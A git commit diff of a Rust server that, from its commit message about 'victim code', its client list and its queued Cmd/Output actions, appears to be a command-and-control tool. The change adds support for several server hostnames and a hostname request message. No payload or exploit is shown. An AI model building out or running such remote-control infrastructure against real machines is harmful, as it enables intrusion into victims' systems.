updated some libraries, and fixed a bug with the victim code where it
wouldn't log in.
This commit is contained in:
1 parent
aff72fc275
commit
a6e50020ca
8 files changed
+598
-400
No files matched your search
+26
-5
@@ -23,6 +23,7 @@ enum ClientAction {
|
||||
Output(String),
|
||||
Cmd(String),
|
||||
Collab(String),
|
||||
Hostnames(String),
|
||||
}
|
||||
|
||||
pub struct Client {
|
||||
@@ -49,7 +50,7 @@ pub struct Server {
|
||||
pub key_path: PathBuf,
|
||||
pub password: String,
|
||||
pub name: String,
|
||||
pub hostname: String,
|
||||
pub hostnames: Vec<String>,
|
||||
}
|
||||
|
||||
pub async fn start_server(server: Arc<Mutex<Server>>) -> Result<(), Box<dyn Error>> {
|
||||
@@ -58,13 +59,15 @@ pub async fn start_server(server: Arc<Mutex<Server>>) -> Result<(), Box<dyn Erro
|
||||
name_path.pop();
|
||||
name_path.push("names.txt");
|
||||
let (server_ip, _) = lock.address.split_once(':').unwrap();
|
||||
let server_hostname = lock.hostname.clone();
|
||||
let current_config_names = vec![
|
||||
server_hostname,
|
||||
let server_hostnames = lock.hostnames.clone();
|
||||
let mut current_config_names = vec![
|
||||
server_ip.trim().to_string(),
|
||||
"127.0.0.1".to_string(),
|
||||
"localhost".to_string(),
|
||||
];
|
||||
server_hostnames.iter().for_each(|n| {
|
||||
current_config_names.push(n.clone());
|
||||
});
|
||||
let mut regen = true;
|
||||
if let Ok(saved_names_string) = read_to_string(&name_path).await {
|
||||
let mut saved_names = Vec::new();
|
||||
@@ -103,7 +106,10 @@ pub async fn start_server(server: Arc<Mutex<Server>>) -> Result<(), Box<dyn Erro
|
||||
|
||||
println!("Listening on {}", lock.address);
|
||||
println!("password: {}", lock.password);
|
||||
|
||||
println!("Hostnames:");
|
||||
lock.hostnames.iter().for_each(|h| {
|
||||
println!("{}", h);
|
||||
});
|
||||
drop(lock);
|
||||
|
||||
loop {
|
||||
@@ -479,6 +485,15 @@ where
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
else{
|
||||
if action.contains("REQ_HOSTNAMES") {
|
||||
let hostnames = lock.hostnames.clone().join(",");
|
||||
lock.clients.iter_mut().filter(|c| c.id == source_id).for_each(|c|{
|
||||
c.actions.push(ClientAction::Hostnames(hostnames.clone()));
|
||||
});
|
||||
println!("hostnames sent!");
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
if responses.len() > 0 {
|
||||
@@ -495,6 +510,9 @@ where
|
||||
ClientAction::Collab(text) => {
|
||||
println!("todo, {}", text);
|
||||
}
|
||||
ClientAction::Hostnames(hostnames) => {
|
||||
messages.push(format!("HOSTNAMES|{}", hostnames));
|
||||
}
|
||||
}
|
||||
}
|
||||
let full_message = messages.join("||");
|
||||
@@ -566,6 +584,9 @@ where
|
||||
ClientAction::Collab(text) => {
|
||||
println!("todo, {}", text);
|
||||
}
|
||||
ClientAction::Hostnames(_) => {
|
||||
messages.push("OUTPUT|Not authenticated".to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
let full_message = messages.join("||");
|
||||
|
||||
Reference in new issue
Block a user